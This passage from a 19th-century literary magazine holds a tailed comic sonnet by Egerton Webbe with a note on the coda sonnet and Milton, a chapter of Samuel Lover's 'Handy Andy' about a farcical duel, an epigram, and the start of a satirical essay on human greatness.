+in point of conveyance, and the most eligible in point of secrecy. He
+recommended me to go by land, and first to proceed to the capital of the
+Nemseh, or Germans, ascending the Balkan, descending into the plains
+of Wallachia, by first crossing the Danube, and then making my way to
+another chain of mountains culled Karpathos; which having crossed, I
+should soon find myself among the Majar, and then all in good time,
+meeting the Danube again, I should reach Vienna. This seemed mighty easy
+to the Franc merchant, but to me it appeared very much like scaling
+the six heavens to get at the seventh. However, I was on the Shah's
+business; and therefore, putting my firm faith in Allah, I allied myself
+with a party of Greek merchants, who were proceeding into Germany upon
+matters of business. We resolved to set off as soon as we should hear
+that no recent robberies had taken place on the road.
+
+
+
+
+                  SONNET TO A FOG.
+               (WITH A CRITICAL NOTE.)
+
+                   BY EGERTON WEBBE.
+
+    Hail to thee, Fog! most reverend, worthy Fog!
+      Come in thy full-wigg'd gravity; I much
+      Admire thee:--thy old dulness hath a touch
+    Of true respectability. The rogue
+    That calls thee names (a fellow I could flog)
+      Would beard his grandfather, and trip his crutch.
+      But I am dutiful, and hold with such
+    As deem thy solemn company no clog.
+    Not that I love to travel best incog.--
+      To pounce on latent lamp-posts, or to clutch
+    The butcher in my arms or in a bog
+    Pass afternoons; but while through thee, I jog,
+      I feel I am true English, and no Dutch,
+    Nor French, nor any other foreign dog
+          That never mixed his grog
+    Over a sea-coal fire a day like this,
+    And bid thee scowl thy worst, and found it bliss,
+          And to himself said, "Yes,
+    Italia's skies are fair, her fields are sunny;
+    But, d--n their eyes! Old England for my money."
+
+"And do you call this a sonnet, sir?" I hear some reader say, with his
+fingers resting on the twentieth line: "I hope I know what a sonnet is;
+why, sir, sonnet is the Greek for _fourteen_, to be sure; and your lines
+must always count just two over the dozen, or you make no sonnet of it;
+everybody knows this same."
+
+Have patience, good reader, while I proceed to convict thee of
+impertinence. No man is so happy of an occasion of correcting others
+as he who has recently learnt something. Now, behold! I have recently
+learnt this,--that the Italian poets, when they want to be funny,
+and at the same time to sonnetteer, (new verb,) outrage the gentle
+proportions of Poetry's fairest daughter--her whose delicate form took
+captive the soul of Petrarch--by ignominiously affixing to her hinder
+parts that always unseemly appendage--_a tail_, which is no less a
+tail, and therefore no less disgraceful to her who wears it, for being
+called, in the more courtly language of those original conspirators,
+_coda_ (from Latin _cauda_, observe;--see your dictionary.) This have
+I learnt, astonished reader, by poking into the _Parnasso Italiano_,
+as you may do, and there, beholding these prodigious baboon sonnets
+in full tail,--for verily they resemble not the true birth more than
+monkeys resemble men, and that is as much as to say they do resemble
+them--in such a manner as to make you laugh at the difference. But
+herein those Italian conspirators, who hatched the infernal plot, gained
+their end; they diverted their readers at the expense of poetical
+decency. Now, however, seeing that this second ("_caudatus_") species
+of the sonnet has a real and lively existence in the land that gave
+it birth; and seeing that we have freely imported from that land the
+other, the _non-caudatus_, species, (for I suppose all young ladies and
+gentlemen know to what country they are indebted for the fourteen-lined
+happiness,) it seems but fair that we should improve our national stock
+by bringing over the later breed, and applying it to the same uses as
+our neighbours.
+
+The above is the first avowed specimen of the _tailed sonnet_, I
+believe, that has ever appeared in English; and I hope it may operate
+as a useful example to better poets, and induce them to clap tails
+continually to their sonnets, whenever they intend fun.[87] I say it
+is the first _avowed_ specimen, because there exists one (unsuspected)
+among the poems of no less a man than John Milton, who found nothing
+admirable in any language but he quickly transplanted it. That most
+accomplished of modern poetical critics, Leigh Hunt, was the first who
+discovered the fact, and gave the alarm to Milton's editors; he showed
+very clearly that that short poem, "On the New Forcers of conscience
+under the Long Parliament," which is always published, ignorantly,
+among the _miscellaneous_ pieces, is neither more nor less than a comic
+_sonnet_ with the Italian tail to it. If the reader will take the
+trouble to look into his Milton, he will find that this poem down to the
+line,
+
+          "Your plots and packing worse than those of Trent,"
+
+forms a regular fourteen-liner; then comes the little adjunct,--"That
+so the parliament,"--which, rhyming with the foregoing, gains the right
+of introducing a new couplet; then another, rhyming with that, and
+lending to a second supernumerary. In this manner the Italian poets link
+on couplet after couplet without end, and you may see some of their
+sonnets with tails stretching through several pages; nay, for aught I
+know, you might have a sonnet in two volumes octavo, without exceeding
+your licence. But it must always be constructed on the above plan, with
+links of a like thickness. By the bye, it is surprising that the late
+editors of Milton's poems--men professedly conversant with Italian
+literature--should still persist in placing this comic sonnet among the
+"miscellaneous pieces," after the error has been pointed out to them!
+
+As for the question--why a tail should be ridiculous?--it seems to me
+one of considerable intricacy, and of the highest interest. Yes, Mr.
+Editor, why _should_ tails be ridiculous? Coat-tails, pig-tails, all
+tails whatsoever, are found to touch us with a sense of the jocose; nay,
+your comet's tail itself is only a kind of _terrific absurdity_. I say,
+therefore, without fear of contradiction, that there subsists in this
+question a deep psychological truth, which demands the exploring hand of
+philosophy; and if no better man will take the hint,--why, Mr. Editor,
+I think I must myself present you, another time, with my ideas on this
+subject, handling the matter in the Aristotelian mode, and dividing my
+_tails_ into _heads_.
+
+With respect to the tail of a comic sonnet, it may be briefly remarked,
+that its comicality (of course I speak with reference to the Italian
+models) arises in a great measure from the stumbling of the little
+line, which always comes limping after the long one, as if something
+were forgotten to be said in it, which the little one thus breathlessly
+comes to adjoin; and then a succession of these _quasi_ oversights
+makes us laugh, alternately at the seeming blunder and at the funny
+haste with which it is redressed. Or it is like an orator in his cups,
+speaking fairly enough his _prepared_ speech; but then--encouraged by
+applause--spoiling all with drunken additions _ex tempore_.
+
+[87] I understand that the distinguished writer mentioned below as
+having first pointed attention to Milton's comic sonnet, had also in MS.
+some specimen of his own composing.
+
+
+
+
+                    HANDY ANDY.--No. III.
+
+Squire Egan was as good as his word. He picked out the most suitable
+horsewhip for chastising the fancied impertinence of Murtough Murphy;
+and as he switched it up and down with a powerful arm, to try its weight
+and pliancy, the whistling of the instrument through the air was music
+to his ears, and whispered of promised joy in the flagellation of the
+jocular attorney.
+
+"We'll see who can make the sorest blister," said the squire. "I'll back
+whalebone against Spanish flies any day. Will you bet, Dick?" said he to
+his brother-in-law, who was a wild helter-skelter sort of fellow, better
+known over the country as Dick the Devil than Dick Dawson.
+
+"I'll back your bet, Ned."
+
+"There's no fun in that, Dick, as there is nobody to take it up."
+
+"Maybe Murtough will. Ask him before you thrash him; you'd better."
+
+"As for _him_," said the squire, "I'll be bound he'll back my bet after
+he gets a taste o' this;" and the horsewhip whistled as he spoke.
+
+"I think he had better take care of his back than his bet," said Dick,
+as he followed the squire to the hall-door, where his horse was in
+waiting for him, under the care of the renowned Andy, who little dreamed
+the extensive harvest of mischief which was ripening in futurity, all
+from his sowing.
+
+"Don't kill him quite, Ned," said Dick, as the squire mounted to his
+saddle.
+
+"Why, if I went to horsewhip a gentleman, of course I should only shake
+my whip at him; but an attorney is another affair. And, as I'm sure
+he'll have an action against me for assault, I think I may as well get
+the worth o' my money out of him, to say nothing of teaching him better
+manners for the future than to play off his jokes on his employers."
+With these words, off he rode in search of the devoted Murtough, who was
+not at home when the squire reached his house; but, as he was returning
+through the village, he espied him coming down the street in company
+with Tom Durfy and the widow, who were laughing heartily at some joke
+Murtough was telling them, which seemed to amuse him as much as his
+hearers.
+
+"I'll make him laugh at the wrong side of his mouth," thought the
+squire, alighting and giving his horse to the care of one of the little
+ragged boys who were idling in the street. He approached Murphy with a
+very threatening aspect, and, confronting him and his party so as to
+produce a halt, he said, as distinctly as his rage would permit him to
+speak, "You little insignificant blackguard, I'll teach you how you'll
+cut your jokes on _me_ again; _I'll_ blister you, my buck!" and, laying
+hands on the astonished Murtough with the last word, he began a very
+smart horsewhipping of the attorney. The widow screamed, Tom Durfy
+swore, and Murtough roared, with some interjectional curses. At last he
+escaped from the squire's grip, leaving the lappel of his coat in his
+possession; and Tom Durfy interposed his person between them when he
+saw an intention on the part of the flagellator to repeat his dose of
+horsewhip.
+
+"Let me at him, sir; or by----"
+
+"Fie, fie, squire--to horsewhip a gentleman like a cart-horse."
+
+"A gentleman!--an attorney you mean."
+
+"I say a gentleman, Squire Egan," cried Murtough fiercely, roused to
+gallantry by the presence of a lady, and smarting under a sense of
+injury and whalebone. "I'm a gentleman, sir, and demand the satisfaction
+of a gentleman. I put my honour in your hands, Mr. Durfy."
+
+"Between his finger and thumb you mean, for there's not a handful of
+it," said the squire.
+
+"Well, sir," replied Tom Durfy, "little or much, I'll take charge of
+it.--That's right, my cock," said he to Murtough, who, notwithstanding
+his desire to assume a warlike air, could not resist the natural impulse
+of rubbing his back and shoulders, which tingled with pain, while he
+exclaimed "Satisfaction! satisfaction!"
+
+"Very well," said the squire: "you name yourself as Mr. Murphy's
+friend?" added he to Durfy.
+
+"The same, sir," said Tom. "Who do you name as yours?"
+
+"I suppose you know one Dick the Divil."
+
+"A very proper person, sir;--no better: I'll go to him directly."
+
+The widow clung to Tom's arm, and, looking tenderly at him, cried "Oh,
+Tom, Tom, take care of your precious life!"
+
+"Bother!" said Tom.
+
+"Ah, Squire Egan, don't be so bloodthirsty!"
+
+"Fudge, woman!" said the squire.
+
+"Ah, Mr. Murphy, I'm sure the squire's very sorry for beating you."
+
+"Divil a bit," said the squire.
+
+"There, ma'am," said Murphy; "you see he'll make no apology."
+
+"Apology!" said Durfy;--"apology for a horsewhipping, indeed!--Nothing
+but handing a horsewhip (which I wouldn't ask any gentleman to do), or a
+shot can settle the matter."
+
+"Oh, Tom! Tom! Tom!" said the widow.
+
+"Ba! ba! ba!" shouted Tom, making a crying face at her. "Arrah, woman,
+don't be makin' a fool o' yourself. Go in there to the 'pothecary's, and
+get something under your nose to revive you; and let _us_ mind _our_
+business."
+
+The widow, with her eyes turned up, and an exclamation to Heaven, was
+retiring to M'Garry's shop wringing her hands, when she was nearly
+knocked down by M'Garry himself, who rushed from his own door, at the
+same moment that an awful smash of his shop-window, and the demolition
+of his blue and red bottles, alarmed the ears of the bystanders, while
+their eyes were drawn from the late belligerent parties to a chase which
+took place down the street, of the apothecary roaring "Murder!" followed
+by Squire O'Grady with an enormous cudgel.
+
+O'Grady, believing that M'Garry and the nurse-tender had combined to
+serve him with a writ, determined to wreak double vengeance on the
+apothecary, as the nurse had escaped him; and, notwithstanding all
+the appeals of his poor frightened wife, he left his bed, and rode to
+the village to "break every bone in M'Garry's skin." When he entered
+the shop, the pharmacopolist was much surprised, and said, with a
+congratulatory grin at the great man, "Dear me, Squire O'Grady, I'm
+delighted to see you."
+
+"Are you, you scoundrel!" said the squire, making a blow of his cudgel
+at him, which was fended by an iron pestle the apothecary fortunately
+had in his hand. The enraged O'Grady made a rush behind the counter,
+which the apothecary nimbly jumped over, crying "Murder!" as he made for
+the door, followed by his pursuer, who gave a back-handed slap at the
+window-bottles _en passant_, and produced the crash which astonished the
+widow, who now joined her screams to the general hue-and-cry; for an
+indiscriminate chase of all the ragamuffins in the town, with barking
+curs and screeching children, followed the flight of M'Garry and the
+pursuing squire.
+
+"What the divil is all this about?" said Tom Durfy, laughing. "By the
+powers! I suppose there's something in the weather to produce all this
+fun,--though it's early in the year yet to begin thrashing, for the
+harvest isn't in yet. But, however, let us manage our little affair,
+now that we're left in peace and quietness, for the blackguards are all
+over the bridge afther the hunt. I'll go to Dick the Divil immediately,
+squire, and arrange time and place."
+
+"There's nothing like saving time and trouble on these occasions," said
+the squire. "Dick is at my house, I can arrange time and place with you
+this minute, and he will be on the ground with me."
+
+"Very well," said Tom; "where is it to be?"
+
+"Suppose we say the cross-roads halfway between this and Merryvale.
+There's very pretty ground there, and we shall be able to get our
+pistols, and all that, ready in the mean time between this and four
+o'clock,--and it will be pleasanter to have it all over before dinner."
+
+"Certainly, squire," said Tom Durfy; "we'll be there at four.--Till
+then, good morning, squire;" and he and his man walked off; Tom having
+left the widow under the care of the apothecary's boy, who was applying
+asafoetida and other sweet-smelling things to the alleviation of the
+faintings which the widow thought it proper and delicate to enact on the
+occasion.
+
+The squire rode immediately homewards, and told Dick Dawson the piece of
+work that was before them.
+
+"And so he'll have a shot at you, instead of an action," said Dick.
+"Well, there's pluck in that: I wish he was more of a gentleman for your
+sake. It's dirty work shooting attorneys."
+
+"He's enough of a gentleman, Dick, to make it impossible for me to
+refuse him."
+
+"Certainly, Ned," said Dick.
+
+"Do you know is he anything of a shot?"
+
+"Faith, he makes very pretty snipe-shooting; but I don't know if he has
+experience of the grass before breakfast."
+
+"You must try and find out from any one on the ground; because, if the
+poor divil isn't a good shot, I wouldn't like to kill him, and I'll let
+him off easy--I'll give it to him in the pistol-arm, or so."
+
+"Very well, Ned. Where are the flutes? I must look over them."
+
+"Here," said the squire, producing a very handsome mahogany case of
+Rigby's best. Dick opened the case with the utmost care, and took up
+one of the pistols tenderly, handling it as delicately as if it were a
+young child or a lady's hand. He clicked the lock back and forwards a
+few times; and, his ear not being satisfied at the music it produced, he
+said he should like to examine them: "At all events, they want a touch
+of oil."
+
+"Well, keep them out of the misthriss's sight, Dick, for she might be
+alarmed."
+
+"Divil a taste," says Dick; "she's a Dawson, and there never was a
+Dawson yet that did not know men must be men."
+
+"That's true, Dick. I wouldn't mind so much if she wasn't in a delicate
+situation just now, when it couldn't be expected of the woman to be so
+stout: so go, like a good fellow, into your own room, and Andy will
+bring you anything you want."
+
+Five minutes after, Dick was engaged in cleaning the duelling-pistols,
+and Andy at his elbow, with his mouth wide open, wondering at the
+interior of the locks which Dick had just taken off.
+
+"Oh, my heavens! but that's a quare thing, Misther Dick, sir," said
+Andy, going to take it up.
+
+"Keep your fingers off it, you thief, do!" roared Dick, making a rap of
+the turnscrew at Andy's knuckles.
+
+"Sure I'll save you the throuble o' rubbin' that, Misther Dick, if you
+let me; here's the shabby leather."
+
+"I wouldn't let your clumsy fist near it, Andy, nor your _shabby_
+leather, you villain, for the world. Go get me some oil."
+
+Andy went on his errand, and returned with a can of lamp-oil to Dick,
+who swore at him for his stupidity: "The divil fly away with you; you
+never do anything right; you bring me lamp-oil for a pistol."
+
+"Well, sure I thought lamp-oil was the right thing for burnin'."
+
+"And who wants to burn it, you savage?"
+
+"Aren't you goin' to fire it, sir?"
+
+"Choke you, you vagabond!" said Dick, who could not resist laughing,
+nevertheless; "be off, and get me some sweet oil, but don't tell any one
+what it's for."
+
+Andy retired, and Dick pursued his polishing of the locks. Why he used
+such a blundering fellow as Andy for a messenger might be wondered at,
+only that Dick was fond of fun, and Andy's mistakes were a particular
+source of amusement to him, and on all occasions when he could have
+Andy in his company he made him his attendant. When the sweet oil was
+produced, Dick looked about for a feather; but, not finding one, desired
+Andy to fetch him a pen. Andy went on his errand, and returned, after
+some delay, with an ink-bottle.
+
+"I brought you the ink, sir, but I can't find a pin."
+
+"Confound your numskull! I didn't say a word about ink; I asked for a
+pen."
+
+"And what use would a pin be without ink, now I ax yourself, Misther
+Dick?"
+
+"I'd knock your brains out if you had any, you _omadhaun_! Go along and
+get me a feather, and make haste."
+
+Andy went off, and, having obtained a feather, returned to Dick, who
+began to tip certain portions of the lock very delicately with oil.
+
+"What's that for, Misther Dick, sir, if you plaze?"
+
+"To make it work smooth."
+
+"And what's that thing you're grazin' now, sir?"
+
+"That's the tumbler."
+
+"O Lord! a tumbler--what a quare name for it. I thought there was no
+tumbler but a tumbler for punch."
+
+"That's the tumbler you would like to be cleaning the inside of, Andy."
+
+"Thrue for you, sir.--And what's that little thing you have your hand on
+now, sir?"
+
+"That's the cock."
+
+"Oh dear, a cock!--Is there e'er a hin in it, sir?"
+
+"No, nor a chicken either, though there _is_ a feather."
+
+"The one in your hand, sir, that you're grazin' it with."
+
+"No: but this little thing--this is called the feather-spring."
+
+"It's the feather, I suppose, makes it let fly."
+
+"No doubt of it, Andy."
+
+"Well, there's some sinse in that name, then; but who'd think of sitch
+a thing as a tumbler and a cock in a pistle? And what's that place that
+opens and shuts, sir?"
+
+"The pan."
+
+"Well, there's sinse in that name too, bekaze there's fire in the thing;
+and it's as nath'ral to say pan to that as to a fryin'-pan--isn't it,
+Misther Dick?"
+
+"Oh! there was a great gunmaker lost in you, Andy," said Dick, as he
+screwed on the locks, which he had regulated to his mind, and began to
+examine the various departments of the pistol-case, to see that it was
+properly provided. He took the instrument to cut some circles of thin
+leather, and Andy again asked him for the name "o' _that_ thing."
+
+"This is called the punch, Andy."
+
+"So, there _is_ the punch as well as the tumbler, sir?"
+
+"Ay, and very strong punch it is, you see, Andy;" and Dick struck it
+with his little mahogany mallet, and cut his patches of leather.
+
+"And what's that for, sir?--the leather, I mane."
+
+"That's for putting round the ball."
+
+"Is it for fear 'twould hurt him too much when you hot him?"
+
+"You're a queer customer, Andy," said Dick, smiling.
+
+"And what weeshee little balls thim is, sir."
+
+"They are always small for duelling-pistols."
+
+"Oh, then _thim_ is jewellin' pistles. Why, musha, Misther Dick, is
+it goin' to fight a jule you are?" said Andy, looking at him with
+earnestness.
+
+"No, Andy,--but the master is; but don't say a word about it."
+
+"Not a word for the world. The masther goin' to fight!--God send him
+safe out iv it!--Amin. And who is he going to fight, Misther Dick?"
+
+"Murphy the attorney, Andy."
+
+"Oh, won't the masther disgrace himself by fightin' the 'torney?"
+
+"How dare you say such a thing of your master?"
+
+"I ax your pard'n, Misther Dick; but sure you know what I mane.--I hope
+he'll shoot him."
+
+"Why, Andy, Murtough was always very good to you, and now you wish him
+to be shot."
+
+"Sure, why wouldn't I rather have him kilt more than the masther?"
+
+"But neither may be killed."
+
+"Misther Dick," said Andy, lowering his voice, "wouldn't it be an
+iligant thing to put two balls into the pistle instid o' one, and give
+the masther a chance over the 'torney?"
+
+"Oh, you murdherous villain!"
+
+"Arrah, why shouldn't the masther have a chance over him? sure he has
+childre, and 'Torney Murphy has none."
+
+"At that rate, Andy, I suppose you'd give the master a ball additional
+for every child he has, and that would make eight. So, you might as well
+give him a blunderbuss and slugs at once."
+
+Dick locked the pistol-case, having made all right; and desired Andy to
+mount a horse, carry it by a back road out of the domain, and wait at a
+certain gate he named until he should be joined there by himself and the
+squire, who proceeded at the appointed time to the ground.
+
+Andy was all ready, and followed his master and Dick with great pride,
+bearing the pistol-case after them to the ground, where Murphy and Tom
+Durfy were ready to receive them, and a great number of spectators were
+assembled; for the noise of the business had gone abroad, and the ground
+was in consequence crowded.
+
+Tom Durfy had warned Murtough Murphy, who had no experience as a
+pistol-man, that the squire was a capital shot, and that his only chance
+was to fire as quickly as he could.--"Slap at him, Morty, my boy, the
+minute you get the word; and, if you don't hit him itself, it will
+prevent his dwelling on his aim."
+
+Tom Durfy and Dick the Devil soon settled the preliminaries of the
+ground and mode of firing; and twelve paces having been marked, both the
+seconds opened their pistol-cases, and prepared to load. Andy was close
+to Dick all the time, kneeling beside the pistol-case, which lay on the
+sod; and, as Dick turned round to settle some other point on which Tom
+Durfy questioned him, Andy thought he might snatch the opportunity of
+giving his master "the chance" he suggested to his second.--"Sure, if
+Misther Dick wouldn't like to do it, that's no raison I wouldn't," said
+Andy to himself; "and, by the powers! I'll pop in a ball _onknownst_ to
+him." And, sure enough, Andy contrived, while the seconds were engaged
+with each other, to put a ball into each pistol before the barrel was
+loaded with powder, so that, when Dick took up his pistols to load,
+a bullet lay between the powder and the touch-hole. Now this must
+have been discovered by Dick, had he been cool; but he and Tom Durfy
+had wrangled very much about the point they had been discussing, and
+Dick, at no time the quietest person in the world, was in such a rage,
+that the pistols were loaded by him without noticing Andy's ingenious
+interference, and he handed a harmless weapon to his brother-in-law when
+he placed him on his ground.
+
+The word was given. Murtough, following his friend's advice, fired
+instantly: bang he went, while the squire returned but a flash in
+the pan. He turned a look of reproach upon Dick, who took the pistol
+silently from him, and handed him the other, having carefully looked to
+the priming, after the accident which happened to the first.
+
+Durfy handed his man another pistol also; and, before he left his side,
+said in a whisper, "Don't forget; have the first fire."
+
+Again the word was given: Murphy blazed away a rapid and harmless shot;
+for his hurry was the squire's safety, while Andy's murderous intentions
+were his salvation.
+
+"D--n the pistol!" said the squire, throwing it down in a rage. Dick
+took it up with manifest indignation, and d--d the powder.
+
+"Your powder's damp, Ned."
+
+"No, it's not," said the squire; "it's you who have bungled the loading."
+
+"Me!" said Dick, with a look of mingled rage and astonishment: "_I_
+bungle the loading of pistols!--_I_ that have stepped more ground and
+arranged more affairs than any man in the county!--Arrah, be aisy, Ned!"
+
+Tom Durfy now interfered, and said, for the present it was no matter,
+as, on the part of his friend, he begged to express himself satisfied.
+
+"But it's very hard we're not to have a shot," said Dick, poking the
+touch-hole of the pistol with a pricker which he had just taken from the
+case which Andy was holding before him.
+
+"Why, my dear Dick," said Durfy, "as Murphy has had two shots, and the
+squire has not had the return of either, he declares he will not fire at
+him again; and, under these circumstances, I must take my man off the
+ground."
+
+"Very well," said Dick, still poking the touch-hole, and examining the
+point of the pricker as he withdrew it.
+
+"And now Murphy wants to know, since the affair is all over and his
+honour satisfied, what was your brother-in-law's motive in assaulting
+him this morning, for he himself cannot conceive a cause for it."
+
+"Oh, be _aisy_, Tom."
+
+"'Pon my soul, it's true."
+
+"Why, he sent him a blister,--a regular apothecary's blister,--instead
+of some law-process, by way of a joke, and Ned wouldn't stand it."
+
+Durfy held a moment's conversation with Murphy, who now advanced to
+the squire, and begged to assure him there must be some mistake in the
+business, for that he had never committed the impertinence of which he
+was accused.
+
+"All I know is," said the squire, "that I got a blister, which my
+messenger said you gave him."
+
+"By virtue of my oath, squire, I never did it! I gave Andy an enclosure
+of the law-process."
+
+"Then it's some mistake that vagabond has made," said the squire. "Come
+here, you sir!" he shouted to Andy, who was trembling under the angry
+eye of Dick the Devil, who, having detected a bit of lead on the point
+of the pricker, guessed in a moment Andy had been at work; and the
+unfortunate rascal had a misgiving that he had made some blunder, from
+the furious look of Dick.
+
+"Why don't you come here when I call you?" said the squire.--Andy laid
+down the pistol-case, and sneaked up to the squire.--"What did you do
+with the letter Mr. Murphy gave you for me yesterday?"
+
+"I brought it to your honour."
+
+"No, you didn't," said Murphy. "You've made some mistake."
+
+"Divil a mistake I made," answered Andy very stoutly; "I wint home the
+minit you give it to me."
+
+"Did you go home direct from my house to the squire's?"
+
+"Yis, sir, I did: I wint direct home, and called at Mr. M'Garry's by the
+way for some physic for the childre."
+
+"That's it!" said Murtough; "he changed my enclosure for a blister
+there; and if M'Garry has only had the luck to send the bit o' parchment
+to O'Grady, it will be the best joke I've heard this month of Sundays."
+
+"He did! he did!" shouted Tom Durfy; "for don't you remember how O'Grady
+was after M'Garry this morning."
+
+"Sure enough," said Murtough, enjoying the double mistake. "By dad!
+Andy, you've made a mistake this time that I'll forgive you."
+
+"By the powers o' war!" roared Dick the Devil, "I won't forgive him
+what he did now, though! What do you think?" said he, holding out the
+pistols, and growing crimson with rage: "may I never fire another shot
+if he hasn't crammed a brace of bullets down the pistols before I loaded
+them: so, no wonder you burned prime, Ned."
+
+There was a universal laugh at Dick's expense, whose pride in being
+considered the most accomplished regulator of the duello was well known.
+
+"Oh, Dick, Dick! you're a pretty second!" was shouted by all.
+
+Dick, stung by the laughter, and feeling keenly the ridiculous position
+in which he was placed, made a rush at Andy, who, seeing the storm
+brewing, gradually sneaked away from the group, and, when he perceived
+the sudden movement of Dick the Devil, took to his heels, with Dick
+after him.
+
+"Hurra!" cried Murphy; "a race--a race! I'll bet on Andy--five pounds on
+Andy."
+
+"Done!" said the squire; "I'll back Dick the Divil."
+
+"Tare an' ouns!" roared Murphy; "how Andy runs! Fear's a fine spur."
+
+"So is rage," said the squire. "Dick's hot-foot after him. Will you
+double the bet?"
+
+"Done!" said Murphy.
+
+The infection of betting caught the bystanders, and various gages were
+thrown down and taken up upon the speed of the runners, who were getting
+rapidly into the distance, flying over hedge and ditch with surprising
+velocity, and, from the level nature of the ground, an extensive view
+could not be obtained; therefore Tom Durfy, the steeple-chaser, cried
+"Mount, mount! or we'll lose the fun: into our saddles, and after them!"
+
+Those who had steeds took the hint, and a numerous field of horsemen
+joined in the chase of Handy Andy and Dick the Devil, who still
+maintained great speed. The horsemen made for a neighbouring hill,
+whence they could command a wider view; and the betting went on briskly,
+varying according to the vicissitudes of the race.
+
+"Two to one on Dick--he's closing."
+
+"Done!--Andy will wind him yet."
+
+"Well done!--there's a leap! Hurra!--Dick's down! Well done, Dick!--up
+again, and going."
+
+"Mind the next quickset hedge--that's a rasper; it's a wide gripe, and
+the hedge is as thick as a wall--Andy'll stick in it.--Mind him!--Well
+leap'd, by the powers!--Ha! he's sticking in the hedge--Dick'll catch
+him now.--No, by jingo! he has pushed his way through--there he's
+going again at the other side.--Ha! ha! ha! ha! look at him--he's in
+tatthers!--he has left half of his breeches in the hedge."
+
+"Dick is over now.--Hurra!--he has lost the skirt of his coat--Andy is
+gaining on him.--Two to one on Andy!"
+
+"Down he goes!" was shouted, as Andy's foot slipped in making a dash at
+another ditch, into which he went head over heels, and Dick followed
+fast, and disappeared after him.
+
+"Ride! ride!" shouted Tom Durfy, and the horsemen put their spurs in
+the flanks of their steeds, and were soon up to the scene of action.
+There was Andy roaring murder, rolling over and over in the muddy
+bottom of a deep ditch, with Dick fastened on him, pummelling away most
+unmercifully, but not able to kill him altogether for want of breath.
+
+The horsemen, in a universal _screech_ of laughter, dismounted, and
+disengaged the unfortunate Andy from the fangs of Dick the Devil, who
+was dragged from out of the ditch much more like a scavenger than a
+gentleman.
+
+The moment Andy got loose, away he ran again, and never cried stop till
+he earthed himself under his mother's bed in the parent cabin.
+
+The squire and Murtough Murphy shook hands, and parted friends in
+half an hour after they had met as foes; end even Dick contrived
+to forget his annoyance in an extra stoup of claret that day after
+dinner,--filling more than one bumper in drinking _confusion_ to Handy
+Andy, which seemed a rather unnecessary malediction.
+
+
+
+
+               EPIGRAM.
+
+    On Easter Sunday, Lucy spoke,
+    And said, "A saint you might provoke,
+    Dear Sam, each day, since Monday last;
+    But now I see your rage is past."
+    Said Sam, "What Christian could be meek!
+    You know, my love, 'twas _Passion Week_;
+    And so, you see, the rage I've spent
+    Was not my own--'twas only _Lent_."
+                                        S. LOVER.
+
+
+
+
+        INTRODUCTION TO THE BIOGRAPHY OF MY AUNT JEMIMA,
+                THE POLITICAL ECONOMIST.
+
+                      BY FRIDOLIN.
+
+            PRELIMINARY DISQUISITION ON HUMAN GREATNESS,
+          TOUCHING UPON THE TRUE PHILOSOPHY OF THE MATTER.
+
+             "Some men are born great,
+              some acquire greatness,
+              and some have greatness thrust upon them."
+
+Thus read my aunt Jemima, and thus subsequently read I, in the
+days of our respective and respectable minorities; but with this
+difference--uncertain whether GREATNESS had not already clandestinely
+made its _avatar_ into me at my birth, or whether it was destined
+hereafter to yield coyly to my wooing, or would force me in future years
+to cry in vain humility, "_Nolo magnificari_." I always felt confident
+of eminence; whereas my aunt Jemima often feelingly reverted to the
+misery of her young maidenly thoughts, when brooding over the certainty
+that she could never, under any circumstances, become a "great man."
+
+"Great women" were unknown in her early days. There were no such things;
+save and except such as might be seen at St. Bartholomew's fair at
+inexpensive cost,--giantesses, who lowered themselves to gain a living
+by their height. But my aunt Jemima valued not such feminine _greatness_
+as theirs. Her aspiring spirit looked not "to _measures_, but to men."
+Our notions change!
+
+It is very melancholy, and rather inconvenient, to drag through the last
+and heaviest stage of life a martyr to a marvel.
+
+Horace, who forbids all wise men to wonder, himself exhibited a
+thriftless want of economy in the expenditure of his own wonder when he
+marvelled, in excellent metre, that any man should eat garlic who had
+not murdered his father; and also, that any mortal should have dared to
+venture on the sea before the discovery of Kyan's anti-dry-rot patent.
+
+Nor can I much sympathise in the great marvel of that renowned French
+statesman, of esculent memory, who professed himself unable to discover
+any principle in nature, or in philosophy, that could explain how a
+certain Duke of Thuringia, passing through Strasburg on a diplomatic
+mission, should not have stopped to dine, _en hâte, de foie gras_.
+As for the "three, yea four," curious problems of olden time, which
+consumed the wise king with their inexplicability, they are as clear
+to modern apprehensions as plate-glass: nay, as my aunt Jemima used
+to observe, in the days when glory and greatness had come upon
+her,--"Thanks be praised!" (My aunt was a religious woman, and guarded
+herself from profane expressions.)--"Thanks be praised! owing to the
+enlightenment of the age in which we live, even in those seven wonders
+of the world there is nothing so very wonderful now." There can be no
+objection on my part to allow that eclipses were pretty marvellous
+transactions as long as they occurred in consequence of a bilious dragon
+needing a pill, and bolting the sun to correct digestion; but ever since
+dragons have adopted a different treatment, and abandoned the solar
+bolus, this phenomenon has subsided into one of common-place pretension.
+The age of wonders, like the New Marriage-act, has passed.
+
+But one wonder--single, solitary, omnipotent--oppresses me. It is, that
+mankind, from ignorance of the meaning of true greatness, lay themselves
+open to perpetual insult,--nay, court it. Do we not lie down patiently
+as lambs, and bear impertinent biographies to be thrust before our eyes
+of persons who are facetiously termed _great_? Great! implying, in a
+paltry and indifferently disguised innuendo, that you, the reader, are
+of course small,--stunted, as it were, in intellectual growth,--an
+under-shrub,--a dwarf specimen. Without being in any way consulted in a
+matter, or examined, or probed, to see what stuff may be in you, it is
+taken for granted that the world has already made its odious comparisons
+between your unobtrusive self and its GREAT MAN; and that, with the
+promptness of a police magistrate, it has summarily decided against
+you; that you, without knowing it, have been weighed in the scales and
+found wanting; have flown upwards as a feather, have kicked the beam,
+have moved lighter than a balloon textured of gossamer and inflated with
+rarefied essence of hydrogen: a very pretty and gratifying assumption!
+
+Our primitive lessons in emulation generally consist, in great part, in
+a series of these insults.
+
+The chubby little fellow, bribed to undergo the advantages of
+scholarship by tardy permission to harass his young nether limbs with
+trousers, usually of nankeen, finds himself immediately exhorted to
+strive, in order that in time he may become a GREAT man. He images the
+vague outline of a human mammoth, and sits down with scanty hope of
+modelling himself accordingly. In the pride and pomp of baby ambition he
+yearns to rival in stature and girth the sons of Amalek. He is small,
+and perfectly conscious that he is so; but frets to exchange his little
+pulpy fingers for a sinewy fist that can shake a weaver's beam: he
+meditates upon great men as pumpkins, compared with which he is but a
+gooseberry. He is not taught, by way of softening the injury done him by
+an unnecessary contrast, that the one may be full of sweetness as the
+other of insipidity.
+
+He waxes in years and amplitude: still hears he of that obtrusive
+department in natural history, the GREAT men. He thinks not of them
+as before; he no longer deems their greatness to consist in the
+mere admeasurement of their cubic contents, as in the days of his
